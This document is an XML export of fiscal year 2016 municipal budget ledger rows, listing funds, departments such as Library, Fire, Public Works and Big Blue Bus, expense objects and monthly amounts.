<row _id="18641"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1100</total></row>
<row _id="18642"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1142</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1142</total></row>
<row _id="18643"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>27265</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>27265</total></row>
<row _id="18644"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3135</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3135</total></row>
<row _id="18645"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>95</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>95</total></row>
<row _id="18646"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544070.0</object><object_description>NON-PRINT RESOURCES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>208000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>208000</total></row>
<row _id="18647"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11220</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11220</total></row>
<row _id="18648"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2475157</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2475157</total></row>
<row _id="18649"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522624.0</object><object_description>JOINT FACILITIES RENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>17850</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17850</total></row>
<row _id="18650"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7796</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7796</total></row>
<row _id="18651"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511690.0</object><object_description>OUTSIDE TEMP AGENCY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18652"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18653"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>131408</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>131408</total></row>
<row _id="18654"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>113416</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>113416</total></row>
<row _id="18655"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3990</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3990</total></row>
<row _id="18656"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2850</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2850</total></row>
<row _id="18657"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4845</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4845</total></row>
<row _id="18658"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>760</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>760</total></row>
<row _id="18659"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>76930</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>76930</total></row>
<row _id="18660"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>285</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>285</total></row>
<row _id="18661"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1695</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1695</total></row>
<row _id="18662"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>588200.0</object><object_description>BLDG RENOVATION / MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>28226</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>28226</total></row>
<row _id="18663"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="18664"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>577062.0</object><object_description>OTHER TRAFFIC EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10200</total></row>
<row _id="18665"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>25821</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25821</total></row>
<row _id="18666"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>87751</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>87751</total></row>
<row _id="18667"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1200</total></row>
<row _id="18668"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>533380</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>533380</total></row>
<row _id="18669"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>846.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18670"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4153</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4153</total></row>
<row _id="18671"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>566060.0</object><object_description>INTEREST EXPENSE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6230</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6230</total></row>
<row _id="18672"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566820.0</object><object_description>SMMUSD JOINT USE AGREEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8832701</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8832701</total></row>
<row _id="18673"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-223313</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-223313</total></row>
<row _id="18674"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577760.0</object><object_description>CDBG REIMB-HOUSING &amp; ECON DEV</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-85000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-85000</total></row>
<row _id="18675"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>544240.0</object><object_description>PROP C REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25000</total></row>
<row _id="18676"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578300.0</object><object_description>SUPPORTIVE HOUSING PROGRAM</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>80455</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>80455</total></row>
<row _id="18677"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578200.0</object><object_description>AIRPORT REIMBURSEMENT FOR SBDC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-32638</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-32638</total></row>
<row _id="18678"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>756065</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>756065</total></row>
<row _id="18679"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522010.0</object><object_description>PAYMENT OF CLAIMS</object_description><category_code>856.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1051293</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1051293</total></row>
<row _id="18680"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522090.0</object><object_description>MISCELLANEOUS COSTS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>60000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>60000</total></row>
<row _id="18681"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>795140</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>795140</total></row>
<row _id="18682"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1100</total></row>
<row _id="18683"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9200</total></row>
<row _id="18684"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2116</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2116</total></row>
<row _id="18685"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>69059</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>69059</total></row>
<row _id="18686"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>197901</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>197901</total></row>
<row _id="18687"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>121400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>121400</total></row>
<row _id="18688"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555070.0</object><object_description>RECYCLING/DISPOSAL FEES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4235000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4235000</total></row>
<row _id="18689"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4000</total></row>
<row _id="18690"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>408928</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>408928</total></row>
